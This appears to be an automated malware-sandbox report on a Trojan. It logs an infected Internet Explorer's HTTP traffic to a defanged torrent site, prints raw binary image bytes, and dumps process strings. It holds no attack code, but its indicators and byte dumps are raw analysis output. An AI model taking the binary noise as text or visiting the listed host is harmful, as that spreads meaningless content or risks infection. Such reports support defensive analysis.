5=da........=jUP{.......1]{........)OjSl..QEr=EYI...2L.........M=X...X..u..T..."...h..I..q.U..E.)..y.....#.4<$$R.4q...jaR:.]....wF?*....t...x.}..)u9Jp..g......P.M.....VR.T...V..e,R.....8e4.....e\n)0EH.8&j....C...9..R..hJD8..JR.W..ph.",RS..H".h....I. .)E)..6.).R..(\`.R`...b.P...zB9........#.h....V....i..(_Zb..y.O..M....t.!...JZ......b...m5.3J8.`&.h.....&.\....9.Ha>...E.4

<<< skipped >>>

GET /uploads/posts/2015-09/thumbs/1441533569_1441388150_goj269d.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:11 GMT

Content-Type: image/png

Content-Length: 245734

Last-Modified: Sun, 06 Sep 2015 09:59:05 GMT

Connection: keep-alive

ETag: "55ec0e69-3bfe6"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR.............|..E.. .IDATx...I.d.y....9.......nTw...D.U..D..`..0(.e..!.!...W.x..#......W..rHayX.a..RP.E@...z@.=U.5W.zc..n....yqn.zUl.$.$(.....|7..y3........p.#...G8...p.#...G8...p.#..... ..'p.#...]....E.W_}..........~.O..G........x.....8U...].|.U=....k...g...p...8".#......]r.......!..v....{.......<.].!..j.,..K..MC......)$...~q.q..|.2..................G....x.......^.w:....~.......~.y0..\^^>.........1...O...M...!.UU.EQL....L&..t:..f..(nN..;..|..........u......<...8L.....K..[<..0.......%pD.G8....,.;.>...v.......^......AD.`b..^.O.%"8....,...s..1.1.O.E$..k..7MS...r>..EQ...lc2.l...=...N...u]....K.!....%.6.zp..I.........>G.y...qD.G8.'.K....p......O...c......UU.B8.D.*!F.Fb.t....e@.....]..Xk..p.`.......c...vq.N.....1.k-.._....c.i.XUU....eY.f.b:....l.(.;..dc6.m.ey.,..^~....i.Uu...o......2!.fK.n...B.G...#...........c........z.?.........}T!.@.>.zO...4...!.Y..'?..3.8.....[?..[.[8....e..s8...#.2..8...`ZR4...; Dg....m..!.}@m...{OY...Y/..,..,....F.4wB.#c..N.s...o/--.6M...i9...l6......s_.......}..;...W.....n..i..O..,n_...?.7...iqD.G8.'./}......<.........;.;..9.G..i..Uh.C...?..f..Mo.{.$.^z.........^g...Utt?.Eju.o.K.......t...0.... .,.. ..m...a~..0Q&.....F.....<L...Y.....UU...SU...M`........zw..*........f.t:...(..,..yY.e...!....o....'...d...B...#<.........X;....W....nml3..&B.Gp....&...0_.*....R.........g[,KM..X9.(.:...'..P/.#F. ....P..c...Kb1..H.<.7..S....1..#Y.q=.E4&..;..Up.`....,..-H..D..b..O.......``......k.Y..,..1...l._U._ZZ...;V...!.BU."2..m.......,......f."a<.N..|>..

<<< skipped >>>

GET /templates/torrent-windows/images/link_bg.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:12 GMT

Content-Type: image/png

Content-Length: 3640

Last-Modified: Mon, 17 Nov 2014 17:14:50 GMT

Connection: keep-alive

ETag: "546a2d0a-e38"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR..............*......pHYs................MiCCPPhotoshop ICC profile..x..SwX...>..e.VB....l.."#....Y....a...@....V....HU....H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0..>.3.o..~..@...z..q.@......qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N....l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A..............a.D@.$.<.B........A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R...J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6..l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V

<<< skipped >>>

GET /uploads/posts/2015-08/thumbs/1440768374_1440707035_1_win10fulldesktop1-780x445.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:12 GMT

Content-Type: image/png

Content-Length: 99457

Last-Modified: Fri, 28 Aug 2015 13:25:26 GMT

Connection: keep-alive

ETag: "55e06146-18481"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR............. 8v... .IDATx.....&.u..........mz......`f0....X......E..0..ER...?X..G(.bG....#..?.~..A B&EQ2..H....f..`.L.{..{...}_U...d.....=.R.q.W..y...g....}.C.......p........BvW....r.......].....*..H..B.......<.u.....2......H...../).3.......g...>."..K..gW......4..e,.......V..... ]..D.J.Z.h.Bk.uU%~(:..C.B.Ce....'. ......H;...>..$.....'..Y....v/..m...xH|Ry.~.. ...kE...>.*....p.........".=..2.vU..|-m.oK......j.s.^..~..O........Px.^Kk^.....{c......Pz........TG...o.v.....m;A...c.H...1.d...V.0......(......hq..H..f.gi.........Ot.'\JFP...B.b...R...c......y..aX.....3.......c.K...Yn....2...Om....E".rZ.Q.k.. .-..&.)"z...5.j#..s...k.H...Z........0.I. 41O.....t..h..J...*........|)..l#.v..V............G.^&?...y_.AbAo.....0oZ..?q...._...{..}...H....:...T..;W..0...M.p..V.}..rF....2.bHHhTd..H`y#!.X.^m.......,}..K.....J^.q..2...v^....RR..n......8..L.8.....At.....u.ag.y.....h.=.g.....Q..a........Q..=?d.._........'>...#.....U......8\.x...`B.w.F...#.......3.?6..........0..I..V8DP%s.....|......z.......d.........5.C....a,.U.P..P..7@..#...,.9...y..(C'...-.w..I. ..GP~1..L.9.l...0.0sd....^)...3._...T.i.Q...<..Y.U5d..;...$...F....Y.Ubt]j;..I8Oxd...O...._........\........pG.I...l.I.W&.."#...q.M.7..)I.........#.<..XFH."..HF'h.V.J. .(uR. ...6....!.8@...4..`D....4...#.-..I..$'....^.. ..z...n]|.9....h,.......{.r...q{OW...u.~...{.?...D...U...SD.&P...x..R............Q/...@u..J....XG....>..3.G..@n..i...,&.:9;....a...RV...P.B;W.Wx.z..<....Lr..a'\....D..........L.8..`..q>..X...I1..m.y..1.Qn..M.O48C...

<<< skipped >>>

GET /uploads/posts/2015-09/thumbs/1442334318_1442251094_357557_original.jpg HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:12 GMT

Content-Type: image/jpeg

Content-Length: 32126

Last-Modified: Tue, 15 Sep 2015 16:24:26 GMT

Connection: keep-alive

ETag: "55f8463a-7d7e"

X-Powered-By: PleskLin

Accept-Ranges: bytes

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 85....C..............................................!........."$".$.......C.........................................................................'.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....J(.h.....(....(...(......(...(...(...(...(...(...(.....(...(...(........(...(....)(.h.....)..d..E.-....#..Z)(........J.Z))h...A@.E&Fq...FA.P..I..2(.i(...dP..E..QE...(...(...))h........(...(......s.\}.Y.a.q...$L$U.J....dx...M.......1l*..I.]CaT.[i8..8..&.9K./_K.na.DIb...:....eE.?..O...{O..(..i.u..........<...6.UT<nX...3.I.......[;o.]...O....^a.F...$d...F.pX.V..|E#L-..p.).....p..0."pw........!.G.".m,m....-.H...|..Z...i....wg...jio.f..]O.......C.igY..$.F..........Z...!.U...;.e.....w..2............h.....}2.b..,..(.O.rF.%8.0.....=.@...7:.-cm2..i.0Et..U....H.....O..F.N/...A.irYZ........i|..J........99......V{..XG%.^q......,r.W.....3...6....3...:..ou.-..^.E.tVWRJ.n....../'<.sv..$.....}...r~.f~._zm.._df<..(......i7......!.._*.8.....$7..8.<.N...F}...........n.....FmJ....#3G.$l.N..RA.cNK=OV..v.WW.#..2J"hf..E;..C. ......=.....|Qoq....

<<< skipped >>>

GET /uploads/posts/2015-09/thumbs/1442238138_1442229256_co2gmaqwsaaiwoq.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:12 GMT

Content-Type: image/png

Content-Length: 87601

Last-Modified: Mon, 14 Sep 2015 13:41:42 GMT

Connection: keep-alive

ETag: "55f6ce96-15631"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR.......Q........... .IDATx...yt..y.........F..I..Iq.)Q.%.Z..../..9v.;vb.{../..I.I..s2....$..d.8o.gO.x.....X.DJ... ..;..~ow.......J...w......[..U_}_}U-..F..h47(....F..h4..k.'.!..Bi.R..h4..9 ...&....\........R..*.F..h4..Y B..........{...8yr....FF.I&b........*...h4..ReF.J.ACC.......{x.....e..x.........<.T...)~...%.O...0.Rje..h4.....0...7~......~..l\..h.vR...<~....Q...;..;F..w.. ...}G.p..S'.366J:.Z.*i4..F3s.u.Z.E{.....q..=.#a.1..i._o..%.$-<. .V...V.n..'.C....g..w.f.../F}4..F....(BA<...o...w...0.X. ...A2..28r.....i.^L...b;).......m.JC..h4K.i-.|.&..R[..xH.A).q..L<.F..8..}..aF3...^"...u)Gl,Gl...@...h4..R...P.w.`...i.V...4. ..d3)B.zF...p~.....p....2...X|X..j4..fIrU.e.....ehh...O^?...z.g.l.F1.."k..N..0...cA.jA|<M*.s.H.F..h..3....9OF.9....8./..;o9<............@.P..-..:.f......F.....)...1.......4....|.V.G||...s ..|9...... .._F)1u...F..\Gf..L2.%.Hp..............D....C ...zUa.......a...F..h.*.Z.B.d.q6.....z....8.....]..[G.9f..s.k...4..Q...,B54..F...3p.*.y.P...]5..k..q..Sp(.H......Y:..bq...$.D...^..h4.y2#.h6...s.G.K...!/!f...E.P.M.c!..5.........K1...3..T..h4.EgZE..".....0........&..,y.%/..D.*.S(......B...h4...dFQ....R..IP..y....0...9.._Q...;\..*..ZP..h4K....L.......B.........!j0.3:z."`."..<..3...^..h4..F3.f5yg...6.a.....{'.[6....p Now...bxx..'Os..1.~{?..c.....F....9E..!.....m-.o....;..%8u.,./^...".tF..j4..f.3.pNQ.N.0.B.0R.....G.5K.F..h...Y. .@...r....h4...1."t.;,.U'..@).^K..h4.%H...aX......z..z/B...D.n.f.&F.%*.@ 0....a..V,!0......;...=.4F..u.!...4...5..F.4(/....p..../...y.#.s..S.4.Be.

<<< skipped >>>

GET /templates/torrent-windows/images/comm.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:13 GMT

Content-Type: image/png

Content-Length: 2958

Last-Modified: Mon, 17 Nov 2014 17:14:49 GMT

Connection: keep-alive

ETag: "546a2d09-b8e"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR...............,.....pHYs................MiCCPPhotoshop ICC profile..x..SwX...>..e.VB....l.."#....Y....a...@....V....HU....H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0..>.3.o..~..@...z..q.@......qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N....l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A..............a.D@.$.<.B........A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R...J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6..l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V

<<< skipped >>>

GET /templates/torrent-windows/images/sep_13.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:13 GMT

Content-Type: image/png

Content-Length: 2802

Last-Modified: Mon, 17 Nov 2014 17:14:52 GMT

Connection: keep-alive

ETag: "546a2d0c-af2"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR.....................pHYs................MiCCPPhotoshop ICC profile..x..SwX...>..e.VB....l.."#....Y....a...@....V....HU....H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0..>.3.o..~..@...z..q.@......qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N....l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A..............a.D@.$.<.B........A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R...J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6..l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V

<<< skipped >>>

GET /templates/torrent-windows/images/arrow_3.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:13 GMT

Content-Type: image/png

Content-Length: 2897

Last-Modified: Mon, 17 Nov 2014 17:14:48 GMT

Connection: keep-alive

ETag: "546a2d08-b51"

X-Powered-By: PleskLin

Accept-Ranges: bytes

<<< skipped >>>

GET /templates/torrent-windows/images/arrow_6.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:14 GMT

Content-Type: image/png

Content-Length: 2799

Last-Modified: Mon, 17 Nov 2014 17:14:48 GMT

Connection: keep-alive

ETag: "546a2d08-aef"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR................~....pHYs................MiCCPPhotoshop ICC profile..x..SwX...>..e.VB....l.."#....Y....a...@....V....HU....H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0..>.3.o..~..@...z..q.@......qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N....l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A..............a.D@.$.<.B........A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R...J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6..l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

iexplore.exe_1316:

%?9-*09,*19}*09

.text

`.data

.rsrc

msvcrt.dll

KERNEL32.dll

NTDLL.DLL

USER32.dll

SHLWAPI.dll

SHDOCVW.dll

Software\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess

IE-X-X

rsabase.dll

System\CurrentControlSet\Control\Windows

dw15 -x -s %u

watson.microsoft.com

IEWatsonURL

%s -h %u

iedw.exe

Iexplore.XPExceptionFilter

jscript.DLL

mshtml.dll

mlang.dll

urlmon.dll

wininet.dll

shdocvw.DLL

browseui.DLL

comctl32.DLL

IEXPLORE.EXE

iexplore.pdb

ADVAPI32.dll

MsgWaitForMultipleObjects

IExplorer.EXE

IIIIIB(II<.fg>

7?_____ZZSSH%

)z.UUUUUUUU

,....Qym

````2```

{.QLQIIIKGKGKGKGKGKG

;33;33;0

8888880

8887080

browseui.dll

shdocvw.dll

6.00.2900.5512 (xpsp.080413-2105)

Windows

Operating System

6.00.2900.5512

iexplore.exe_1388:

%?9-*09,*19}*09

.text

`.data

.rsrc

msvcrt.dll

KERNEL32.dll

NTDLL.DLL

USER32.dll

SHLWAPI.dll

SHDOCVW.dll

Software\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess

IE-X-X

rsabase.dll

System\CurrentControlSet\Control\Windows

dw15 -x -s %u

watson.microsoft.com

IEWatsonURL

%s -h %u

iedw.exe

Iexplore.XPExceptionFilter

jscript.DLL

mshtml.dll

mlang.dll

urlmon.dll

wininet.dll

shdocvw.DLL

browseui.DLL

comctl32.DLL

IEXPLORE.EXE

iexplore.pdb

ADVAPI32.dll

MsgWaitForMultipleObjects

IExplorer.EXE

IIIIIB(II<.fg>

7?_____ZZSSH%

)z.UUUUUUUU

,....Qym

````2```

{.QLQIIIKGKGKGKGKGKG

;33;33;0

8888880

8887080

browseui.dll

shdocvw.dll

6.00.2900.5512 (xpsp.080413-2105)

Windows

Operating System

6.00.2900.5512

iexplore.exe_1492:

%?9-*09,*19}*09

.text

`.data

.rsrc

msvcrt.dll

KERNEL32.dll

NTDLL.DLL

USER32.dll

SHLWAPI.dll

SHDOCVW.dll

Software\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess

IE-X-X

rsabase.dll

System\CurrentControlSet\Control\Windows

dw15 -x -s %u

watson.microsoft.com

IEWatsonURL

%s -h %u

iedw.exe

Iexplore.XPExceptionFilter

jscript.DLL

mshtml.dll

mlang.dll

urlmon.dll

wininet.dll

shdocvw.DLL

browseui.DLL

comctl32.DLL

IEXPLORE.EXE

iexplore.pdb

ADVAPI32.dll

MsgWaitForMultipleObjects

IExplorer.EXE

IIIIIB(II<.fg>

7?_____ZZSSH%

)z.UUUUUUUU

,....Qym

````2```

{.QLQIIIKGKGKGKGKGKG

;33;33;0

8888880

8887080

browseui.dll

shdocvw.dll

6.00.2900.5512 (xpsp.080413-2105)

Windows

Operating System

6.00.2900.5512